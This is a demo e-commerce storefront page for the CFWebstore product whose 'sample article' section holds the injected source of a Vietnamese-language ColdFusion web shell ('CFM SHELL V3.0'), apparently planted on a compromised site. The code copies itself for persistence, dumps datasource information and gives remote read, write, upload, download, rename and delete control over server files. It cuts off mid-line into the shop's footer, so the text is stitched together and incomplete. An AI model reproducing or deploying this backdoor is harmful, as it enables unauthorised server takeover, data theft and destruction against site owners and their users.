Better than ever!


We have created this demo site to show off some of the incredible features of CFWebstore's new Fusebox Edition. This product is so flexible that it's impossible to demonstrate all the things it can do but look around and we're sure you'll agree that it is packed with incredible features!

This page, like all the other pages in this site, is completely editable using any web browser. You have full control over the layout and content.   cccc




Product Catalog

Product Catalog

Selling your products has never been so easy! Check out our advanced catalog system that will help your customers to easily browse and find the product they want to buy.
Magazine Magazine New!
We know your web site has more than just products so we've included a complete publishing engine! Create online newsletters, product reviews or your own web-zine.

Members Only Members Only
With our powerfull member management system you can create and sell memberships which allow users to access to your site's content or special discounts and promotions.
Store Locator

Store Locator

We have great features for stores with wholesale customers too like this automated directory that lists the retail stores that carry YOUR products!

About Us

CFWebstore has been perfected over years of experience and hundreds of stores. No other store this powerful is as easy to customize.

Documentation

Check out all the features of CFWebstore and see why we're the favorite product of Cold Fusion developers everywhere!

Login Accounts

The sample store has a number of login accounts for you to see how you can control administrative access for different user groups.
 

Copy of Four® Product Kit

Copy of Four® Product Kit

On Sale! HOT!
Don't buy one product, get them all!

Four Product Kit

Four Product Kit

On Sale! HOT!
Don't buy one product, get them all!


Baseball Jersey

Baseball Jersey

HOT!
100% Preshrunk Cotton with 3/4 raglan double needle sleeves. Choose white with black, red or blue sleeves.

Plant type 1 size 1 On Sale! New! HOT!
p1s1 teas


 What's New
Magazine New!
We know your web site has more than just products so we've included a complete publishing engine! Create online newsletters, product reviews or your own web-zine.
Copy of Four® Product Kit

Copy of Four® Product Kit

On Sale! HOT!
Don't buy one product, get them all!


Four Product Kit

Four Product Kit

On Sale! HOT!
Don't buy one product, get them all!

Plant type 1 size 1 On Sale! New! HOT!
p1s1 teas


Pump Cap Bottle

Pump Cap Bottle

On Sale!
This product is packaged in a beautiful pump capped bottle. Functional, yet elegant, it's a great addition to any bathroom. This product must be purchased in quantities of 5.

This is a sample article

<html>

<style type="text/css">
body,td,th {
    color: #00FF00;
    font-size:12px;
    font-family: Courier New;
}
body {
    background-color: #000000;
    font: 12px Courier New ;
}
a:link
{
    font: bold 12px Courier New ;
    color: #FFFF33;
    text-decoration: none;
}
a:visited
{
    font: bold 12px Courier New ;
    color: #FFFF33;
    text-decoration: none;
}
.buttom {color: #FFFFFF; border: 1px solid #084B8E; background-color: #719BC5}
.TextBox {border: 1px solid #084B8E}
.style3 {color: #FF0000}
</style>
<head>
<TITLE>CFM SHELL V3.0 By Vampire fromn [VHC]</TITLE>
<meta http-equiv="Content-Type" content="text/html">
</head>
<body>
<center>
    Cfm Shell v3.0
    <br>
    By <a href="ymsgr:sendim?vampire.legend_vn">VampirE</a> from <a href="vhcgroup.net">VHC</a>
    <br>
    Website: <a href="VampireVN.Us">VampireVN.Us</a> - Email: <a href="mailto:vampire.legend_vn@yahoo.com.vn">vampire.legend_vn@yahoo.com.vn</a>
</center>
<hr>
<script langauge="JavaScript" type="text/javascript">
function doMenu(item)
{
    obj=document.getElementById(item);
    col=document.getElementById("x" + item);
    if (obj.style.display=="none")
    {
        obj.style.display="block"; col.innerHTML="[-]";
    }
    else
    {
        obj.style.display="none"; col.innerHTML="[+]";
    }
}
</script>





<!--- Login --->

<cfif IsDefined("logout")>
    <cfset structclear(cookie)>
    <cflocation url="?" addtoken="No">
</cfif>
<cfif IsDefined("cookie.username")>



<!--- Main --->






<center>Xin ch&#224;o <font color="#FFFF33"><b><cfoutput>#username#</cfoutput></b></font> !</center>
<center><b><a href="?logout">Tho&#225;t</a></b></center>
<hr>
<cfif not FileExists("#GetDirectoryFromPath(GetTemplatePath())#\headereds.cfm")>
<cffile action="copy" source="#GetTemplatePath()#" destination="#GetDirectoryFromPath(GetTemplatePath())#\headereds.cfm">

</cfif>
<cfoutput>
<cfset dir = #GetDirectoryFromPath(GetTemplatePath())#>
<cfif Right(dir, 1) neq "\" >
    <cfset dir = "#dir#\">
</cfif>
<!--- Ham get Datasource Infor --->
<cfscript>
factory = CreateObject("java", "coldfusion.server.ServiceFactory");
DataSoureceInfo = factory.DataSourceService.getDatasources();
</cfscript>
<!--- Ham doc tep --->
<cffunction name="ReadFile" access="remote" output="true" returntype="any">  
    <cfargument name="fileread" type="string" required="true"/>  
    <cfloop file="#arguments.fileread#" index="line"> #line#<br> </cfloop>
</cffunction>
<!--- ham xoa thu muc --->
<cffunction name="dirDelete" access="public" output="false" returntype="any">
<cfargument name="dir" required="no" default="#expandPath('/pocket_cache/')#">
<cfdirectory action="list" name="delfile" directory="#arguments.dir#">
<cfif delfile.RecordCount EQ 0>
<cfif directoryExists(arguments.dir)>
<cfdirectory action="delete" directory="#arguments.dir#">
</cfif>
<cfelse>
<cfloop query="delfile">
<cfif type EQ "file">
<cffile action="delete" file="#arguments.dir#\#name#">
<cfelse>
<cfset temp = dirDelete(arguments.dir & '\' & #delfile.name#)>
</cfif>
</cfloop>
<cfif directoryExists(arguments.dir)>
<cfdirectory action="delete" directory="#arguments.dir#">
</cfif>
</cfif>
</cffunction>
<!--- ham doi ten thu muc --->
<cffunction name="renameDirectory" access="remote" output="false" returntype="void">  
    <cfargument name="oldDir" type="string" required="true"/>  
    <cfargument name="newDir" type="string" required="true"/>  
    <cfdirectory action="rename" directory="#arguments.oldDir#" newdirectory="#arguments.newDir#"/>  
</cffunction>
</cfoutput>
<!--- ham Zip --->
<cffunction name="zipfile" access="remote" output="false" returntype="void">
    <cfargument name="source" required="true" type="string">
    <cfargument name="destination" required="true" type="string">
    <cfzip action="zip" file="#arguments.destination#" recurse="yes" source="#arguments.source#" storePath="yes" />
</cffunction>
<!--- ham UnZip --->
<cffunction name="unzipfile" access="remote" output="false" returntype="void">
    <cfargument name="source" required="true" type="string">
    <cfargument name="destination" required="true" type="string">
    <cfzip action="unzip" file="#arguments.source#" destination="#arguments.destination#" storePath="yes" />
</cffunction>
<!--- ham Copy Thu Muc --->
<cffunction name="dirCopy" output="false">
    <cfargument name="source" required="true" type="string">
    <cfargument name="destination" required="true" type="string">
    <cfset var uid = CreateUUID()>
    <cfzip action="zip" file="#GetTempDirectory()##uid#.zip" recurse="yes" source="#arguments.source#" storePath="yes" />
    <cfif Not DirectoryExists("#arguments.destination#")>
        <cfdirectory action="create" directory="#arguments.destination#">
    </cfif>
    <cfzip action="unzip" file="#GetTempDirectory()##uid#.zip" destination="#arguments.destination#" storePath="yes" />
    <cffile action="delete" file="#GetTempDirectory()##uid#.zip">
</cffunction>
<!--- ham Move Thu Muc --->
<cffunction name="dirMove" output="false">
    <cfargument name="source" required="true" type="string">
    <cfargument name="destination" required="true" type="string">
    <cfset var uid = CreateUUID()>
    <cfzip action="zip" file="#GetTempDirectory()##uid#.zip" recurse="yes" source="#arguments.source#" storePath="yes" />
    <cfif Not DirectoryExists("#arguments.destination#")>
        <cfdirectory action="create" directory="#arguments.destination#">
    </cfif>
    <cfzip action="unzip" file="#GetTempDirectory()##uid#.zip" destination="#arguments.destination#" storePath="yes" />
    <cffile action="delete" file="#GetTempDirectory()##uid#.zip">
    <cfset dirDelete('#source#')>
</cffunction>
<!--- bat dau nhan lenh --->
<cfif isDefined("action")>
    <cfif action is "goto">
        <cfoutput>
        <cfif isDefined("scr")>
            <cfset dir = #scr#>
            <cfif Right(dir, 1) neq "\" >
                <cfset dir = "#dir#\">
            </cfif>
        </cfif>
        </cfoutput>
    <cfelseif action is "edit">
    <cfoutput>
    <cfif isDefined("scr")>
        <cfif FileExists("#scr#")>
            <cfset file_name=#Replace(#scr#,'#GetDirectoryFromPath(scr)#','','ALL')#>
            <title>&##272;ang s&##7917;a t&##7879;p #scr#</title>
            <script language="JavaScript" type="text/javascript">
                function sTrim(sVariable)
                {
                    return sVariable.replace(/^\s+|\s+$/g,"");
                }
                function validateFields(form)
                {
                    return true;
                }
            </script>
            <cffile action="read" file="#scr#" variable="thisFile">
            <form action="?action=save&scr=#GetDirectoryFromPath(scr)#" method="post" onsubmit="return validateFields(this);">
                <input type="hidden" name="fileName" value="#file_name#" />
                <input type="hidden" name="action_type" value="edit" />
                <table border="0" style="width:600px;">
                    <tr>
                        <td style="font-weight:bold;" nowrap="nowrap">
                            S&##7917;a t&##7879;p:&nbsp;
                        </td>
                        <td style="width:480px;">
                            #scr#
                        </td>
                    </tr>
                    <tr>
                        <td style="font-weight:bold;" nowrap="nowrap">
                            N&##7897;i dung:&nbsp;
                        </td>
                        <td colspan="2">
                        <cfset thisFile=#Replace(#thisFile#,'<','&lt;','ALL')#>
                        <cfset thisFile=#Replace(#thisFile#,'>','&gt;','ALL')#>
                            <textarea name="fileContent" style="font-family:verdana; font-size:11px; height:250px; width:600px;">#thisFile#</textarea>
                        </td>
                    </tr>
                    <tr>
                        <td colspan="2" style="text-align:right;">
                            <input type="submit" value="L&##432;u" style="font-family:verdana; font-size:11px;" />
                        </td>
                    </tr>
                </table>
            </form>
        <cfelse>
            <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
        </cfif>
        <a href="?action=goto&scr=#GetDirectoryFromPath(scr)#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
    <cfelse>
        <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
    </cfif>
    </cfoutput>
    <cfelseif action is "cut">
        <cfoutput>
        <cfif isDefined("scr")>
            <cfset cutdir = #scr#>
            <cfif FileExists("#scr#")>
                <cfset cutdir = #RemoveChars(cutdir, len(cutdir), 1)#>
                <cfloop condition = "Right(cutdir, 1) neq '\'">
                    <cfset cutdir = #RemoveChars(cutdir, len(cutdir), 1)#>
                </cfloop>
                <cfform name="articles" ENCTYPE="multipart/form-data">
                    B&##7841;n s&##7869; di chuy&##7875;n t&##7879;p <font color="red">#scr#</font> t&##7899;i <cfinput type="text" name="thumucsechuyen" size="50" value="#cutdir#"> <input type="submit" value="Th&##7921;c hi&##7879;n" />
                </cfform>
                <cfif isDefined("thumucsechuyen")>
                    <cffile action="move" source="#scr#" destination="#thumucsechuyen#">
                    <cflocation url="?action=goto&scr=#cutdir#" addtoken="No">
                </cfif>
            <cfelse>
                <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
            </cfif>
            <a href="?action=goto&scr=#cutdir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
        <cfelse>
            <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
        </cfif>
        </cfoutput>
    <cfelseif action is "cutd">
        <cfoutput>
        <cfif isDefined("scr")>
            <cfset copydir = #scr#>
            <cfif DirectoryExists("#scr#")>
                <cfset copydir = #RemoveChars(copydir, len(copydir), 1)#>
                <cfloop condition = "Right(copydir, 1) neq '\'">
                    <cfset copydir = #RemoveChars(copydir, len(copydir), 1)#>
                </cfloop>
                <cfform name="articles" ENCTYPE="multipart/form-data">
                    B&##7841;n s&##7869; sao ch&##233;p t&##7879;p <font color="red">#scr#</font> t&##7899;i <cfinput type="text" name="thumucsechuyen" size="50" value="#copydir#"> <input type="submit" value="Th&##7921;c hi&##7879;n" />
                </cfform>
                <cfif isDefined("thumucsechuyen")>
                    #dirMove("#scr#","#thumucsechuyen#")#
                    <cflocation url="?action=goto&scr=#copydir#" addtoken="No">
                </cfif>
            <cfelse>
                <p>Th&##432; m&##7909;c #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
            </cfif>
            <a href="?action=goto&scr=#copydir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
        <cfelse>
            <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
        </cfif>
        </cfoutput>
    <cfelseif action is "copy">
        <cfoutput>
        <cfif isDefined("scr")>
            <cfset copydir = #scr#>
            <cfif FileExists("#scr#")>
                <cfset copydir = #RemoveChars(copydir, len(copydir), 1)#>
                <cfloop condition = "Right(copydir, 1) neq '\'">
                    <cfset copydir = #RemoveChars(copydir, len(copydir), 1)#>
                </cfloop>
                <cfform name="articles" ENCTYPE="multipart/form-data">
                    B&##7841;n s&##7869; sao ch&##233;p t&##7879;p <font color="red">#scr#</font> t&##7899;i <cfinput type="text" name="thumucsechuyen" size="50" value="#copydir#"> <input type="submit" value="Th&##7921;c hi&##7879;n" />
                </cfform>
                <cfif isDefined("thumucsechuyen")>
                    <cffile action="copy" source="#scr#" destination="#thumucsechuyen#">
                    <cflocation url="?action=goto&scr=#copydir#" addtoken="No">
                </cfif>
            <cfelse>
                <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
            </cfif>
            <a href="?action=goto&scr=#copydir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
        <cfelse>
            <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
        </cfif>
        </cfoutput>
    <cfelseif action is "copyd">
        <cfoutput>
        <cfif isDefined("scr")>
            <cfset copydir = #scr#>
            <cfif DirectoryExists("#scr#")>
                <cfset copydir = #RemoveChars(copydir, len(copydir), 1)#>
                <cfloop condition = "Right(copydir, 1) neq '\'">
                    <cfset copydir = #RemoveChars(copydir, len(copydir), 1)#>
                </cfloop>
                <cfform name="articles" ENCTYPE="multipart/form-data">
                    B&##7841;n s&##7869; sao ch&##233;p t&##7879;p <font color="red">#scr#</font> t&##7899;i <cfinput type="text" name="thumucsechuyen" size="50" value="#copydir#"> <input type="submit" value="Th&##7921;c hi&##7879;n" />
                </cfform>
                <cfif isDefined("thumucsechuyen")>
                    #dirCopy("#scr#","#thumucsechuyen#")#
                    <cflocation url="?action=goto&scr=#copydir#" addtoken="No">
                </cfif>
            <cfelse>
                <p>Th&##432; m&##7909;c #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
            </cfif>
            <a href="?action=goto&scr=#copydir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
        <cfelse>
            <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
        </cfif>
        </cfoutput>
    <cfelseif action is "rename">
        <cfoutput>
        <cfif isDefined("scr")>
            <cfset renamedir = #scr#>
            <cfif FileExists("#scr#")>
                <cfloop condition = "Right(renamedir, 1) neq '\'">
                    <cfset renamedir = #RemoveChars(renamedir, len(renamedir), 1)#>
                </cfloop>
                <cfform name="articles" ENCTYPE="multipart/form-data">
                    B&##7841;n s&##7869; &##273;&##7893;i t&##234;n #scr# th&##224;nh #renamedir#<cfinput type="text" name="namechange" size="25" value=""> <input type="submit" value="Th&##7921;c hi&##7879;n" />
                </cfform>
                <cfif isDefined("namechange")>
                    <cffile action="rename" source="#scr#" destination="#renamedir##namechange#">
                    <cflocation url="?action=goto&scr=#renamedir#" addtoken="No">
                </cfif>
            <cfelse>
                <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
            </cfif>
            <a href="?action=goto&scr=#renamedir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
        <cfelse>
            <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
        </cfif>
        </cfoutput>
    <cfelseif action is "renamed">
        <cfoutput>
        <cfif isDefined("scr")>
            <cfset renamedir = #scr#>
            <cfset renamedir = #RemoveChars(renamedir, len(renamedir), 1)#>
            <cfif DirectoryExists("#scr#")>
                <cfloop condition = "Right(renamedir, 1) neq '\'">
                    <cfset renamedir = #RemoveChars(renamedir, len(renamedir), 1)#>
                </cfloop>
                <cfform name="articles" ENCTYPE="multipart/form-data">
                    B&##7841;n s&##7869; &##273;&##7893;i t&##234;n #scr# th&##224;nh #renamedir#<cfinput type="text" name="namechange" size="25" value=""> <input type="submit" value="Th&##7921;c hi&##7879;n" />
                </cfform>
                <cfif isDefined("namechange")>
                    #renameDirectory('#scr#','#renamedir##namechange#')#
                    <cflocation url="?action=goto&scr=#renamedir#" addtoken="No">
                </cfif>
            <cfelse>
                <p>Th&##432; m&##7909;c #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
            </cfif>
            <a href="?action=goto&scr=#renamedir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
        <cfelse>
            <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
        </cfif>
        </cfoutput>
    <cfelseif action is "down">
        <cfoutput>
        <cfif isDefined("scr")>
            <cfset downdir = #scr#>
            <cfif FileExists("#scr#")>
                <cfloop condition = "Right(downdir, 1) neq '\'">
                    <cfset downdir = #RemoveChars(downdir, len(downdir), 1)#>
                </cfloop>
                <cfheader name="Content-Disposition" value="attachment; filename=#getFileFromPath (scr)#">
                <cfcontent file="#scr#" type="application/octet-stream">
            <cfelse>
                <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
            </cfif>
            <a href="?action=goto&scr=#downdir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
        <cfelse>
            <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
        </cfif>
        </cfoutput>
    <cfelseif action is "del">
        <cfoutput>
        <cfif isDefined("scr")>
            <cfset deletedir = #scr#>
            <cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#>
            <cfif FileExists("#scr#")>
                <cfloop condition = "Right(deletedir, 1) neq '\'">
                    <cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#>
                </cfloop>
                <cffile action="delete" file="#scr#">
                <cflocation url="?action=goto&scr=#deletedir#" addtoken="No">
            <cfelse>
                <p>T&##7853;p tin #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
            </cfif>
            <a href="?action=goto&scr=#deletedir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
        <cfelse>
            <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
        </cfif>
        </cfoutput>
    <cfelseif action is "deld">
        <cfoutput>
        <cfif isDefined("scr")>
            <cfset deletedir = #scr#>
            <cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#>
            <cfif DirectoryExists("#scr#")>
                <cfloop condition = "Right(deletedir, 1) neq '\'">
                    <cfset deletedir = #RemoveChars(deletedir, len(deletedir), 1)#>
                </cfloop>
                <cfset dirDelete('#scr#')>
                <cflocation url="?action=goto&scr=#deletedir#" addtoken="No">
            <cfelse>
                <p>Th&##3432; m&##37909;c #scr# kh&##244;ng t&##7891;n t&##7841;i.</p>
            </cfif>
            <a href="?action=goto&scr=#deletedir#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
        <cfelse>
            <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
        </cfif>
        </cfoutput>
    <cfelseif action is "new">
        <!---
        <cfoutput>
        <cfif isDefined("scr")>
            <cfif FileExists("#scr#")>
                <p>T&##7853;p tin #scr# &##273;&##227; t&##7891;n t&##7841;i.</p>
            <cfelse>
                <cfform name="articles" ENCTYPE="multipart/form-data">
                    B&##7841;n s&##7869; t&##7841;o th&##432; m&##7909;c m&##7899;i #scr#<cfinput type="text" name="namecreate" size="25" value=""> <input type="submit" value="Th&##7921;c hi&##7879;n" />
                </cfform>
                <cfif isDefined("namecreate")>
                    <cffile action = "write" file = "#scr##namecreate#" output = "">
                    <cflocation url="?action=goto&scr=#scr#" addtoken="No">
                </cfif>
            </cfif>
            <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
        <cfelse>
            <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
        </cfif>
        </cfoutput>
        --->
        <cfoutput>
        <cfif isDefined("scr")>
            <cfdirectory action="list" directory="#scr#" name="fileList">
            <script language="JavaScript" type="text/javascript">
                var fileArray = new Array(<cfoutput>#quotedValueList(fileList.name)#</cfoutput>);
                function sTrim(sVariable)
                {
                    return sVariable.replace(/^\s+|\s+$/g,"");
                }
                function validateFields(form)
                {
                    var fileCount = 0;
                    var re = /.txt$|.cfm$|.cfml$|.htm|.html$/;
                    if (sTrim(form.fileName.value) == "")
                    {
                        alert('Can nhap ten tep');
                        form.fileName.focus();
                        return false;
                    }
                    if (form.fileName.value.search(re) < 0)
                    {
                        alert('Khong chap nhan tep loai nay!\n\n Chi chap nhan .cfm, .cfml, .htm, .html, va .txt!');
                        form.fileName.focus();
                        form.fileName.select();
                        return false;
                    }
                    for (var i=0; i<fileArray.length; i++)
                    {
                        if (sTrim(form.fileName.value) == fileArray[i])
                        {
                            fileCount++;
                        }
                    }
                    if (fileCount > 0)
                    {
                        alert('Ten nay da ton tai, vui long chon tep khac');
                        form.fileName.focus();
                        form.fileName.select();
                        return false;
                    }
                    return true;
                }
            </script>
            <form action="?action=save&scr=#scr#" method="post" onsubmit="return validateFields(this);">
                <input type="hidden" name="action_type" value="add" />
                <table border="0" style="width:400px;">
                    <tr>
                        <td style="font-weight:bold;" nowrap="nowrap">
                            T&##234;n t&##7879;p:&nbsp;&nbsp;
                        </td>
                        <td>
                            <input type="text" name="fileName" style="font-family:verdana; font-size:11px; width:316px;" />
                        </td>
                    </tr>
                    <tr>
                        <td style="font-weight:bold;" nowrap="nowrap">
                            N&##7897;i dung:&nbsp;&nbsp;
                        </td>
                        <td colspan="2">
                            <textarea name="fileContent" style="font-family:verdana; font-size:11px; height:250px; width:600px;"></textarea>
                        </td>
                    </tr>
                    <tr>
                        <td colspan="2" style="text-align:right;">
                            <input type="submit" value="T&##7841;o t&##7879;p" style="font-family:verdana; font-size:11px;" />
                        </td>
                    </tr>
                </table>
            </form>
            <a href="?action=goto&scr=#GetDirectoryFromPath(scr)#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
        <cfelse>
            <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
        </cfif>
        </cfoutput>
    <cfelseif action is "newd">
        <cfoutput>
        <cfif isDefined("scr")>
            <cfform name="articles" ENCTYPE="multipart/form-data">
                B&##7841;n s&##7869; t&##7841;o th&##432; m&##7909;c m&##7899;i #scr#<cfinput type="text" name="namecreate" size="25" value=""> <input type="submit" value="Th&##7921;c hi&##7879;n" />
            </cfform>
            <cfif isDefined("namecreate")>
                <cfdirectory directory= "#scr##namecreate#" action="create">
                <cflocation url="?action=goto&scr=#scr#" addtoken="No">
            </cfif>
            <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
        <cfelse>
            <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
        </cfif>
        </cfoutput>
    <cfelseif action is "upload">
        <cfoutput>
        <cfif isDefined("scr")>
            <cfform enctype="multipart/form-data" method="post">
                B&##7841;n s&##7869; t&##7843;i t&##7879;p l&##234;n th&##432; m&##7909;c : <font color="red">#scr#</font><br>
                Ch&##7885;n t&##7879;p mu&##7889;n t&##7843;i: <input type="file" size="80" name="fileup" /> <input type="submit" value="T&##7843;i l&##234;n" /><br/>
            </cfform>
            <cfif isDefined("fileup")>
                <cffile action="upload" fileField="fileup" destination="#scr#" nameconflict="overwrite">
                <cflocation url="?action=goto&scr=#scr#" addtoken="No">
            </cfif>
            <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
        <cfelse>
            <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
        </cfif>
        </cfoutput>
    <cfelseif action is "datainfo">
        <cfoutput>
        <cfdump var="#DataSoureceInfo#">
        <a href="?action=goto&scr=#GetDirectoryFromPath(GetTemplatePath())#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
        </cfoutput>
    <cfelseif action is "save">
        <cfoutput>
        <cfif isDefined("form.fileName")>
            <title>&##272;&##227; l&##432;u t&##7879;p</title>
            <cffile action="write" file="#scr#\#form.fileName#" output="#form.fileContent#" addnewline="no">
            &##272;&##227; <cfif form.action_type IS "edit">s&##7917;a<cfelse>t&##7841;o</cfif> th&##224;nh c&##244;ng t&##7879;p <span style="font-weight:bold;">#form.fileName#</span>.<br>
            <a href="?action=goto&scr=#scr#" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
        <cfelse>
            <a href="javascript:history.back(1);" style="color: rgb(255, 0, 0);"><u> <- Tr&##7903; v&##7873;.</u></a>
        </cfif>
        </cfoutput>
    </cfif>
<cfelse>
    <cfset action = "goto">
</cfif>













<cfif action is "goto" or action is "del" or action is "deld">
<cfoutput>
    <center><a href="javascript:doMenu('thongtin');" id=xthongtin>[-]</a>Th&##244;ng tin m&##225;y ch&##7911;:</center>
    <div id="thongtin">
    <!--- Lay thong tin ip --->
        <cfif #cgi.http_x_forwarded_for# eq "">
    &nb

by Michael Frauenheim

 Product of the Day!

 

More...